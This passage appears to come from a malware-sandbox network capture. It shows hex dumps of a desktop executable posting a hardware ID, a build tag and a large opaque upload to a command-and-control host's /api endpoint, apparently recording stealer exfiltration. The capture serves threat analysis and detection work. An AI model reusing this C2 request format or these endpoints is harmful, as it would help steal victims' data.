1f fa 69 51 c7 2e ca 6f 51 6c 4f 1c 11 fd ca bb 6b f2 56 5c 72 d4 91 cb 25 2b 14 9d 8d 77 68 fc 9a 11 aa ac 0d be a7 7a cd ab 16 5a 8e 58 e9 b3 b7 ee 6a bc 6d be 9b 3e Data Ascii: #I,6uZj:E<;+Yv}X<\I;0M<F>I\|1:EJd%Gk,i~ORY,edtiRWuF'4sUV9sQ^tw^n)3.]WvJYA:\|2q*~hiQ.oQlOkV\r%+whzZXjm>
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: 63 3d a7 fa f8 7f ed a5 55 da 6b a1 49 35 74 73 ca 0d 3b 32 1a 2a 4e 69 36 55 27 72 1a b1 15 1b 6a 5d 94 6c a6 23 bc df 44 8d e6 d4 52 51 1d 78 3c a7 d1 0e f2 ff 00 7d e7 55 19 13 f7 db eb 46 39 77 d3 e4 8a 3a 39 84 d5 cc f8 d7 7d 36 fa 08 ff 00 8e ad 49 b1 2a 09 ea 89 6a c5 08 2d a0 ff 00 9e 3e 65 13 d9 c7 ff 00 3c 61 f2 ea f5 ac b0 27 df ff 00 59 4f 9f e7 aa e7 91 1c 91 31 24 b1 83 ce df e4 ff 00 db 3a b5 23 47 e4 ff 00 a9 a7 5d d5 59 25 f3 7e e5 68 ae d1 9b 4a 23 76 ef f9 29 90 41 1f df 7a 97 cb aa f7 cb 25 bf c9 5a 46 f7 22 56 b1 1d d7 96 f3 7c f5 24 12 c6 90 d5 1a 64 8d be b4 e5 ba 30 f6 89 31 f7 d2 46 f3 7c 95 0c 8d 25 1b 68 db 5a 2d 11 97 3b b8 f8 e7 92 8f b4 ff 00 9c 51 b2 8d 94 b9 50 2a 8c 7c 77 32 25 3a 4b e9 2a 2d 94 6c a5 ca 87 ed 19 2c 77 d2 Data Ascii: c=UkI5ts;2Ni6U'rj]l#DRQx<}UF9w:9}6Ij->e<a'YO1$:#G]Y%~hJ#v)Az%ZF"V\|$d01F\|%hZ-;QP\|w2%:K-l,w
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: f3 a0 9a 6f fa 69 45 ab 4f 0f c8 9f bc 8f fe 7a 45 51 28 e8 5a a9 ae c7 b2 78 47 c7 f6 9e 20 87 fb 3b 5e bc fe ce ba f9 3e c5 e5 7f a9 b8 6f fd 91 ab bf d3 74 fb 08 bf 71 06 a5 f6 89 3c bf 2e 4b 68 bf 72 fb e4 fe 24 af 97 f7 49 17 97 be 1f f9 69 5e bd e0 7f 88 96 1a 9d a4 76 5a df fa 3d d7 fa bf b4 ff 00 cf c7 ff 00 12 d5 9b 76 2e 3a b3 a6 d4 9a 44 d3 ed ae 92 ce 6b 29 e3 df e6 79 5f f2 d3 77 f7 b7 56 34 77 37 f1 5a 49 6b f6 3f dc 47 ff 00 2c e2 97 fc ed ae 96 ea 08 e5 ff 00 51 34 d2 3d c7 fa b9 3e 4f fc 7b fd 9a ab 25 b4 69 a8 49 6b 0c 30 f9 7f 3c 72 c9 e6 ff 00 ac ff 00 2b 44 66 c9 94 35 dc c1 8f 4f 8f 4f 86 4b af ed 2b b8 e7 f2 de 38 e3 97 fe 5d dd be ed 4d 04 ba 94 ba b4 97 af 37 ef fe 4f 2e 3f 29 3f 79 b7 fb d5 a9 04 49 2d dc 8f a5 de 4d 1f fa 37 fc Data Ascii: oiEOzEQ(ZxG ;^>otq<.Khr$Ii^vZ=v.:Dk)y_wV4w7ZIk?G,Q4=>O{%iIk0<r+Df5OOK+8]M7O.?)?yI-M7
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: f2 2b ba d1 fc 27 26 99 ff 00 21 7d 4a d2 e2 3f 2f cc 8f f7 5b e6 8d bf 8b fd ca 20 be f0 66 8f f2 7f 66 da 47 3f fc f4 96 2d f3 6f fe f5 74 aa b1 6e c9 5c c5 d0 69 26 dd 8e 66 4b 99 f5 09 b6 27 ee e4 93 fd 65 b7 95 be a9 da cb b3 50 de 97 93 47 ff 00 2c e4 fd d5 7a 5d 8e bd a2 de c3 22 5d 43 69 24 7f f5 c9 11 29 9a 96 87 e1 79 66 f2 20 86 1d 3a 7f f9 e9 e5 7e e6 4a 5e da db a2 fe ad cd b4 8e 37 c3 f2 cf 15 a5 ce c9 a6 92 3f f5 7f ba 95 d3 cb ff 00 67 6d 5a fb 65 fc 53 48 93 c3 e6 5d 49 b3 fd 1b ca df f6 bd bf c5 bf f8 2a 9e b9 2c fa 16 a1 7d a7 27 da ed fc b9 3c c9 24 ff 00 9f 84 fe f2 6e a3 c2 ba bc 97 1e 65 ad ae bd 34 71 c7 1b c9 1c 7e 57 f7 7f 86 aa 49 b5 cc 88 bd 9f 2d c9 6d 7c 7b 3d be 93 1d ac 1f bb ba 8e 4f dd c7 73 17 9d f2 37 f0 d6 ce b9 e3 1f Data Ascii: +'&!}J?/[ ffG?-otn\i&fK'ePG,z]"]Ci$)yf :~J^7?gmZeSH]I*,}'<$ne4q~WI-m\|{=Os7
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: 00 a2 79 f6 f7 3e 5c 7f ba d9 52 a5 74 9b d0 dd c1 45 b4 9d c8 24 b1 b8 96 6b 98 20 87 f7 76 f2 24 91 f9 b1 7f 7b fb ab fc 55 42 d7 4a bf 96 ef 7a 4d a8 5c 4f ff 00 3f 3e 6e c4 8d 3f e0 5f fa 0d 74 1f 69 8e 2d 43 fd 2a 19 ad fc c8 ff 00 79 27 fa ef 2d ea 9d d6 bd e6 cd 2c 17 56 73 5b d8 c7 fe b2 4f bf e6 6e fe 2a a5 37 d0 c6 5c 83 64 b1 d4 ae bf 7e f7 93 79 96 f2 79 9f 69 fb ef ff 00 7c ff 00 76 9d 3c ba 94 5f e9 b0 7f c4 c6 3f f5 77 3f c0 ff 00 f0 25 a7 5a cb 61 f6 b9 21 7b cb bb 88 24 fd e5 b7 f0 7f c0 3f de ab 52 4f 25 ec d2 7d 96 1f b3 cf fe af cc 97 fd 77 fd f3 52 a5 ae a3 8a 6d 5e e4 10 6a f6 97 7e 5f d9 66 86 df cc ff 00 a6 bb 1f 7f fc 0a b9 7f 88 4b 3b e9 36 ce 9a 94 d2 47 27 fa cf 37 67 ee d3 fb df 2f df ae 97 58 9e ed 2d 3c 84 86 1d 56 4f f5 9f Data Ascii: y>\RtE$k v${UBJzM\O?>n?_ti-Cy'-,Vs[On7\d~yyi\|v<_?w?%Za!{$?RO%}wRm^j~_fK;6G'7g/X-<VO
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: e1 a6 e9 b6 72 59 6a d7 33 bf ee e0 b8 8f f7 71 cb f7 3e 6a db ba 8b 52 bb d2 63 7b 58 7e d1 27 97 e6 47 ff 00 02 fe 1a 2d 74 fd 5a df e4 d7 ac ee ed e4 92 37 fb 34 96 df 3d 63 ed 14 8e 9f 63 ad ec 55 b8 d5 f5 6d 3f cb 7f f8 f7 f2 ff 00 77 fb af b9 b2 ba bb a5 bf 7b 4d 27 57 fb 64 36 51 ea 3e 74 72 7e fb fe 3e 3c bf f9 eb fd df 6a c5 d1 e7 82 ee d2 3f ed b9 a6 8e 4b 79 3f 79 1d b4 3b fc c4 ff 00 eb 55 df 3e c1 ff 00 e2 43 75 a9 5a 7f 65 5c 6c 8e da e7 ca fd f4 8f ff 00 b2 54 4a 10 7d 36 3a 63 16 96 af 43 bc d0 fc 59 a6 f8 7f fb 5b 4e d5 26 f2 e3 93 4d 4b 79 23 b6 f9 d2 48 be f2 6c ff 00 e2 ab 2f e0 ee 95 a6 e9 5e 26 be 83 51 9a d2 4b 1f b1 3c 7a 2d ed cd a3 cd f7 b6 4b f2 7f b7 fc 15 89 1f 85 6f df c4 5a 6d ae 91 fb bb 1f df 7d a6 4f 37 7f ee b6 7d df 9b Data Ascii: rYj3q>jRc{X~'G-tZ74=ccUm?w{M'Wd6Q>tr~><j?Ky?y;U>CuZe\lTJ}6:cCY[N&MKy#Hl/^&QK<z-KoZm}O7}
2024-12-17 09:08:35 UTC	16067	IN	Data Raw: 45 94 d2 45 0b 5b 38 22 f3 26 f3 bc b8 e4 ff 00 96 95 16 bf 3d fb da 7c 90 cd 1c 11 ff 00 ac 93 cd ab f7 51 5a 5b cd be ea 1f fb 67 17 dc ab b1 db 58 4b e5 ef 86 68 ff 00 e9 9f fc f4 aa 55 2c f5 26 da 14 b4 38 a4 97 cb ba d4 6f 3c b8 3f e5 9c 72 cb 5a 90 e9 51 db f9 77 4f 34 d2 41 24 9e 5c 71 d5 59 20 b0 d4 3f d1 7f b3 7f d5 c9 fb cf 2b fe 59 ff 00 df 34 4f aa cf a6 79 90 3c d0 dc 4f 1c 7e 67 99 17 dc ac 64 e7 27 a3 d4 be 53 52 4b 38 34 ff 00 32 f7 51 87 f7 7f f3 ce 29 77 ff 00 df 55 83 6b e2 a9 13 c4 37 2f fb 9f 22 e2 4f b3 c7 e6 c5 bf cb 8b fb bb 6b 47 49 d5 e4 d6 ed 24 82 7d 36 1f 2f fe 7a 45 b1 2a 38 3c 2f f6 49 a3 fb 15 e4 37 12 7c 97 11 c9 59 c3 96 37 f6 bf 13 29 46 52 b5 89 f4 ad 7a 4d 3e d3 ec ba bd e4 d2 47 65 73 e6 47 1c 52 bf fd f3 fe ed 6b c7 Data Ascii: EE[8"&=\|QZ[gXKhU,&8o<?rZQwO4A$\qY ?+Y4Oy<O~gd'SRK842Q)wUk7/"OkGI$}6/zE*8</I7\|Y7)FRzM>GesGRk
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: 7e 47 54 20 d2 bc 5b ba 28 47 f6 bb 7b 4f 23 c3 d0 fd a2 4b 89 12 de 4d 36 e7 f7 d0 dc 23 4d ff 00 a1 57 53 f0 a6 09 ed 7c 57 a9 4d fd a9 fd a0 9a 5d 92 4f a8 e9 da 47 87 e6 b3 59 e0 93 e5 8f 6d db 4a 5a 46 cf f0 ad 78 ae a5 f1 1a 7f 03 e8 7a 6d ae af a6 cd a8 dd 47 1b c7 2d cc 57 69 0f cf 13 ed df f3 7f 15 7b 47 c3 df 8b 70 fc 5a f0 fc 5f d9 1a 47 c6 2d 46 eb 4e 44 b4 bd fb 0d fd 85 b5 be ec 79 9b e7 99 5a 38 fe 7e 95 df 35 09 47 99 6c 6d 85 cc 71 34 e0 e9 46 6d 5f d3 fc 8a fe 20 f8 75 e0 28 be 23 5f 6a 3e 2d d3 3f e1 19 fe ce 92 6f f4 2b 68 9f 51 b6 d5 e2 5f e2 55 ff 00 5b e6 0d df c3 f7 9e b9 5f 05 47 a4 ae b9 fd 8f 6b 35 a6 8b 63 a8 79 d3 d9 5b 47 2b dd cd 68 ec ff 00 f2 fb 16 77 d9 b3 ff 00 cf 3f 9b 6d 7a 1e af 7b a4 4a c7 54 f1 6f c3 3f 12 d9 de c9 Data Ascii: ~GT [(G{O#KM6#MWS\|WM]OGYmJZFxzmG-Wi{GpZ_G-FNDyZ8~5Glmq4Fm_ u(#_j>-?o+hQ_U[_Gk5cy[G+hw?mz{JTo?
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: a5 13 2e 56 d9 56 ea 58 1e ef e7 fd df fc f4 a6 f9 f1 f9 32 7f d3 3a ef 34 3d 22 37 f9 df 47 b4 b8 93 cb fd df 9b f7 2a f7 f6 1d fc 5f 73 41 d2 64 ff 00 b7 4d f5 0f 13 14 ce 95 85 76 dc f3 29 e5 91 e6 93 c8 ff 00 57 5a 3a 6a c8 f6 9f ea 6b bf d2 f4 5b b4 f3 2e 93 4d b4 8e 08 ff 00 d6 79 bf f1 ed ff 00 8f d4 ff 00 d8 3a 6f 93 fb 88 7f 77 27 fc f2 f9 2b 1a d8 fa 54 d3 e6 62 95 08 c7 de 9b 38 39 20 bb 5b 4f 3d 3f d5 c7 59 d7 51 49 2f cf e4 cd fb cf fa 6b 5e a1 06 95 02 7d c8 7c c9 3f e7 a4 b4 47 a2 c0 93 49 3b c3 0f 99 27 fa ca e1 96 77 42 3d ce 49 b8 5f 44 cf 2f 8e da ed e1 f9 3f ef d5 4f 6b a4 7d a2 1d f3 de 7e f3 fe 79 f9 4f be bd 4e 4b 38 3f 8f c9 92 88 e3 83 f8 2b 2f ed e8 7f 2b 26 35 20 9e a8 f3 6f f8 47 b5 2f f5 96 b6 7e 64 9f f3 d2 5a 82 7f 0b eb af Data Ascii: .VVX2:4="7G*_sAdMv)WZ:jk[.My:ow'+Tb89 [O=?YQI/k^}\|?GI;'wB=I_D/?Ok}~yONK8?+/+&5 oG/~dZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49750	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:35 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=15RN03WSV07IC49 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1239 Host: sweepyribs.lat
2024-12-17 09:08:35 UTC	1239	OUT	Data Raw: 2d 2d 31 35 52 4e 30 33 57 53 56 30 37 49 43 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 45 36 30 36 43 33 30 30 42 44 43 38 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 35 52 4e 30 33 57 53 56 30 37 49 43 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 35 52 4e 30 33 57 53 56 30 37 49 43 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 35 52 4e 30 Data Ascii: --15RN03WSV07IC49Content-Disposition: form-data; name="hwid"9BE606C300BDC810AC8923850305D13E--15RN03WSV07IC49Content-Disposition: form-data; name="pid"1--15RN03WSV07IC49Content-Disposition: form-data; name="lid"PsFKDg--pablo--15RN0
2024-12-17 09:08:36 UTC	1036	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=307hi41eeepmllup84a5ggm17c; expires=Sat, 12-Apr-2025 02:55:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KUvPWB9TYcMXYeOtrpJSiiZ7r7dXdjsAzcMmq%2F288HqplvWtKb81nZpJzyTAs%2Buo05CC1iRBT7IESvmfvVrYnZZB85xGT60EfHBZ2y91tfwUXK04GVo5G9w8y6H6zU8BDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c4fae81a7274-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1790&rtt_var=691&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2151&delivery_rate=1561497&cwnd=182&unsent_bytes=0&cid=33bda155114159e5&ts=1007&x=0"
2024-12-17 09:08:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:08:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49757	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:38 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JYB7GTXB3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572064 Host: sweepyribs.lat
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 2d 2d 4a 59 42 37 47 54 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 45 36 30 36 43 33 30 30 42 44 43 38 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 59 42 37 47 54 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 59 42 37 47 54 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4a 59 42 37 47 54 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --JYB7GTXB3Content-Disposition: form-data; name="hwid"9BE606C300BDC810AC8923850305D13E--JYB7GTXB3Content-Disposition: form-data; name="pid"1--JYB7GTXB3Content-Disposition: form-data; name="lid"PsFKDg--pablo--JYB7GTXB3Content-Disp
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 4c d1 b1 12 59 4e e5 90 a2 3a 4c 95 e0 97 6a 23 93 ef 63 6a 78 fc 27 84 94 76 cb fa 38 73 a1 98 51 28 e1 c5 f2 94 3a 6f 7a ff 3d 6a b5 85 82 d6 30 2c df 5b 0a 6c dc 79 3f 4b cb 30 c5 a7 30 f3 94 b4 cd e6 40 37 25 56 83 b3 28 97 b4 aa 54 3b fa 26 c3 97 93 2f 44 26 d1 10 7f 22 b8 21 bb fa ed 26 6c 28 51 f8 34 dc 08 0b fb ff 82 d8 9b 1f 45 95 3f ab d5 0c 88 e4 81 c4 a5 31 e6 e4 e7 4b 7c 5f 95 92 ba b0 dc 86 0f ea 17 90 80 86 4a f1 42 bf 92 d0 82 5a 06 4a 27 27 bb c4 ef f5 85 30 64 7f db 2e 66 d3 b4 42 7b eb 01 7f 5a 1f 33 a7 c6 4d 29 e4 2c 2b b2 c5 36 96 4c da 1f a8 f3 3e 4f 6b 8e 29 bb 83 af 90 55 0c 19 b1 e4 e0 c4 96 7d 23 74 69 88 ec 08 af 73 6b bd 26 71 c9 48 d0 df 8e 8a 52 07 13 cf fe 00 dd ef 86 2f 49 89 f7 cc d2 20 59 47 b8 7f c8 a4 de f0 71 30 69 08 Data Ascii: LYN:Lj#cjx'v8sQ(:oz=j0,[ly?K00@7%V(T;&/D&"!&l(Q4E?1K\|_JBZJ''0d.fB{Z3M),+6L>Ok)U}#tisk&qHR/I YGq0i
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: d6 4a 11 95 a3 7f b6 ff bf f0 b0 f9 4c 21 52 b5 ee f2 ae ce 6a ba 73 8b 98 e6 9f 4d 65 97 4e 4f a9 1c 31 26 10 76 78 bd d7 4a 20 ad a4 0d dd 0d bc dd 4f 8f 53 10 4c be 0b 19 69 a0 54 0b d5 3a dd 1e f6 9a 1d 8a 0e 28 0a 8e 8a 09 72 46 20 ab 49 98 66 84 65 53 78 29 01 c3 92 ec 79 d4 b6 aa 96 7c b7 ce 64 10 e9 df 84 ab 8d 76 99 cf e3 b9 8f 2b 44 21 64 95 6e f7 3c 93 22 40 18 53 76 a4 47 85 c6 ad bf f9 ec bd 25 ac 4c 7d ed 73 a8 0f 7a fb 68 f5 0e c5 d2 cd a4 6d 2a 51 f0 8d 49 95 e1 08 fb dc 30 96 89 dd fa 3d ba f5 8f a6 04 a7 1d a8 ad ea b6 5b 9a f9 e3 93 7a 43 ce ef f7 06 ca 8c ae 79 04 ce be 7d 5f f9 e7 41 09 9b 33 bd fc 79 e5 64 9d 41 0d 87 b2 e7 17 41 d0 4a 5a ad 8f 5d 5b 79 7b 1a 65 73 4b e0 cc eb 6c dc 22 2b 6b bf a6 ff 68 45 8b c4 d8 ac d1 c3 ca b1 07 Data Ascii: JL!RjsMeNO1&vxJ OSLiT:(rF IfeSx)y\|dv+D!dn<"@SvG%L}szhm*QI0=[zCy}_A3ydAAJZ][y{esKl"+khE
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 1c 4b 6b 5e 26 2d 9e bf 31 b1 33 fe 78 ae 5e e3 79 6e d0 49 8b 1c e1 7f a8 c4 75 a5 d1 66 4c 40 c7 4b 93 09 d9 70 37 9a 41 e1 e8 58 0d cc 7e 85 f1 e8 d5 a5 00 c7 fa 26 35 c3 80 69 6e ee 90 b3 d3 ee 8f 84 59 d9 ab ca a3 bc 32 a6 62 33 89 aa b1 e2 c5 61 a9 2e 76 7a 70 9b dd 94 7b 47 1c 4a 05 c0 3b 53 9e a6 da e7 7d 21 1d c1 9b eb 34 b6 78 07 cb 7c 31 61 cc 73 67 e5 c3 4f d7 22 bc b8 d4 20 cf 49 55 06 38 ed 55 db b7 f4 76 0d db 15 1a 1a cf 0b 76 e4 c9 6f b2 5e 89 7d 40 dc 2d 38 23 45 3e 74 04 45 3d 2e 05 85 6f ac 0f 34 77 c5 bf 3e 48 a6 49 6e c6 21 c1 bb 8e 10 82 18 60 9e 51 be 97 a6 c5 d2 e7 f5 55 3e fb 41 1f 1d d9 71 92 86 05 9f 05 5f ff e5 35 ea b6 91 02 ae 17 8d d2 e9 3d b4 c2 55 ba 80 eb df e3 99 79 74 76 6b 10 74 4f eb cb f7 8c be 0e 8e ce e6 42 77 0e Data Ascii: Kk^&-13x^ynIufL@Kp7AX~&5inY2b3a.vzp{GJ;S}!4x\|1asgO" IU8Uvvo^}@-8#E>tE=.o4w>HIn!`QU>Aq_5=UytvktOBw
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 6f 5d 12 7e 51 66 44 0e dc 86 9c f0 e0 c0 88 c0 4f 6e a1 0f d7 bd b5 a3 89 33 79 97 ef 64 83 9a c0 91 85 a1 4f 19 41 90 04 61 42 b7 a2 ea 6c bc 65 64 27 d2 70 12 ab 82 0a bf 4f 98 7c ce a5 09 dd c0 76 87 f2 b1 c7 26 fe 48 43 9d c3 7a 17 d7 11 de 7b d2 eb a2 ff f7 c6 5f 87 d4 2c 0c 9a f4 a7 da bd 40 fa f9 1b 62 b6 88 f4 8d 0d 65 59 e5 d1 29 d8 33 39 bf 58 77 4c 15 c7 27 7c fc e1 3b e1 13 db b5 64 63 ba df 89 4a 8d 39 84 89 f2 09 95 a0 9f c6 92 40 f2 b8 68 c2 ff 3f 58 ff b7 98 d1 db c0 bb 62 a4 db d6 24 f2 8f 84 96 9a f2 23 c8 64 2d 76 5e 1a fc da 40 f7 17 7a 24 64 f9 60 23 0f 0f d6 57 9c 9c 90 0b 64 ec cc fe 91 08 00 f8 38 2a e0 54 ee 5f 90 90 1f cf 96 e7 3a 0b a5 df 99 ba 7d a9 32 a3 8b fe a8 49 f8 a3 c8 a5 8a cc 43 14 01 82 89 06 38 7f 1e 41 54 4c af 0b Data Ascii: o]~QfDOn3ydOAaBled'pO\|v&HCz{_,@beY)39XwL'\|;dcJ9@h?Xb$#d-v^@z$d`#Wd8*T_:}2IC8ATL
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 56 63 69 1a 16 2f ad 10 ba 2d bc 65 89 a8 ae b8 33 b0 c2 da a1 13 f7 93 6a 5d 6c 5a 1c 11 15 13 1a 29 cc 79 f5 2f b1 8d 38 d4 68 3a d2 90 28 f6 21 eb 76 b4 59 12 e8 80 26 0a 2e 8a 96 df c6 af 47 13 53 3f ca 5b e2 e0 77 82 78 c6 cc 38 1f 42 8d 48 ec 43 91 94 00 fd 98 c1 ff 22 ed ee 7f 1b 2b 35 49 10 fb bd ab 0e 33 42 62 87 0e 13 2d c1 d0 31 02 80 a3 01 68 8a e8 15 30 ff a8 bd dd 53 e7 c1 71 e0 f4 e2 a6 a4 53 bf 2e 82 b6 8d a4 d0 d4 20 2e d4 75 f7 10 23 2c 48 70 10 dc af a3 48 00 06 6f f4 e2 ad f9 56 19 30 71 61 5d 9b d5 2e 3c 49 c3 a1 a4 30 7f 61 a2 41 94 c3 02 65 47 aa 85 b9 7b f9 59 4f fc 5f 32 4a d7 9d bb e7 fe 28 d5 8c 1c fc 75 47 5b e8 86 47 7b 50 61 f0 c5 67 10 6d aa f7 6c d2 66 12 1b 9c bd 83 5f f9 04 b1 57 a2 f6 89 b3 25 46 0c e2 25 a1 d9 8f 92 3d Data Ascii: Vci/-e3j]lZ)y/8h:(!vY&.GS?[wx8BHC"+5I3Bb-1h0SqS. .u#,HpHoV0qa].<I0aAeG{YO_2J(uG[G{Pagmlf_W%F%=
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 4b cb 96 4d 21 82 af 50 fe 12 80 be 97 db 04 67 22 09 71 c9 bc dc f3 77 da 79 f2 f9 ed 64 ce e9 fb 1b f1 59 49 13 ba d5 ac ac f8 ac d7 c9 54 11 90 f7 f5 7b 44 fa b0 8d 01 79 f4 03 1c e2 83 2f 3b c6 d4 5a a7 5d 24 58 dd 6f 0e c2 4b 3a 94 3f 4b aa 8e 0d 4d c0 8e aa 02 fb d5 92 3b f5 15 82 17 80 6a 1a 93 95 33 c3 bc ca 27 75 eb dd 4a 1d ef 77 13 e5 01 be 21 37 85 4a bc 72 9e 0c 47 ef 51 7e 25 0a 1e 19 cc ac d6 b5 20 bd c7 d0 e2 af 6f ed 35 c6 61 a1 d6 61 ab b3 41 7a 6c 96 e0 73 16 4b 83 f7 61 91 b4 91 9b bf b6 26 90 da af 5b a3 cb 4f 99 e5 b8 f7 77 4f 2b 3d c6 dd 22 0e ad b3 b3 14 56 dd 85 05 99 1b 39 e8 e8 fa 44 25 bb c2 7f fe f9 d7 0d b8 1f 04 bc 8b 10 98 06 35 1e d4 1a 24 cf be 3e f2 27 a3 46 c7 50 c3 3b 17 15 77 4e 05 d2 b9 31 2e 7b 37 f8 37 16 c5 0d 29 Data Ascii: KM!Pg"qwydYIT{Dy/;Z]$XoK:?KM;j3'uJw!7JrGQ~% o5aaAzlsKa&[OwO+="V9D%5$>'FP;wN1.{77)
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: e3 50 43 e2 23 24 97 bd da 4c 2c 8b 66 9f fb 01 f0 73 d5 1a 07 d5 a8 3e fe 51 2f d9 ed ca cb bb 12 32 a0 0c 81 12 4c 49 b7 0a cb 1a 22 b1 1e dd 91 d4 60 9f 10 98 2d aa 3e ca 32 34 b8 fa 52 ed 01 92 2a d2 f9 6a 0b 5b 58 bd 7f 63 28 76 4c eb b0 ee d8 90 30 41 8a be 4f fa 2e 94 41 dc 78 4d 11 98 70 15 18 53 c0 72 72 0b 87 b4 47 3b 6a 4e 07 3b e9 10 f1 40 53 43 f8 2f 5e 0a fe f4 a0 e0 93 48 be 39 22 27 4c 79 93 1e c4 36 67 a7 2f 87 c4 d4 bc 4f 95 68 46 61 09 8f a9 95 aa a1 cd b7 b4 9e 46 14 eb 45 0a b6 05 7d f3 f9 10 b4 c8 09 3c b5 71 f6 3f a4 66 99 c2 46 79 31 91 3a dd 3a 9a 74 2b fb 77 8b 75 e1 fc 8a e5 de a1 eb f9 86 3a 61 8c 2f 8f f8 34 f7 96 60 0e 29 d9 fe 63 ca d5 52 61 10 b9 cf 62 f8 00 3f e8 91 76 12 44 0e 79 9e 97 51 ce 21 6b d2 89 0f 3e f2 ee c2 75 Data Ascii: PC#$L,fs>Q/2LI"`->24R*j[Xc(vL0AO.AxMpSrrG;jN;@SC/^H9"'Ly6g/OhFaFE}<q?fFy1::t+wu:a/4`)cRab?vDyQ!k>u
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 99 fb 70 56 29 8c 8a 55 81 18 07 df 71 7c 47 0f ad a7 9f 2e 54 c7 5f a3 69 4d 69 bf 9a 7f b2 46 0e 87 97 4c a7 15 0e b6 98 07 31 9a 8b 8e ad 4f 9c fb ce 8d 32 8e 06 20 ac e8 e5 b7 1a d7 ff 1d 95 5f 47 d0 a5 09 03 e2 00 86 c3 77 26 48 7b b5 63 9d a9 ef 00 99 97 7d 2c 39 35 05 c6 6f 2e ca 6a 16 fc e2 a7 07 fe 73 8a f4 39 2c 29 44 5d 34 82 61 25 41 76 22 ce b5 9b a2 ba 23 e9 67 51 a9 7e 6c fc 1f 74 7f 14 d8 12 65 b7 4b 49 06 74 d4 9d 5e 55 52 f8 e7 4c 6a 1c f3 b4 c3 cf 48 61 99 03 82 df 14 e5 d3 a9 fe db a7 2b c6 8d d0 5c b6 9a b6 65 09 72 0e 54 f7 e2 d3 6e a0 05 5b c7 e8 ad 65 40 6a 15 3d 69 d6 9f e2 4d 6a e1 fd 7d ba c6 45 75 a9 49 8f aa 